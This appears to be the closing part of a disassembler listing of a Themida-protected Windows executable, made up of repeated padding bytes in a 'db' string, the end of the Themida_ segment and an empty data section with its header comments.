db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'лллллллл',0
align 1000h
Themida_ ends
; Section 5. (virtual address 001BE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001BE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5BE000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start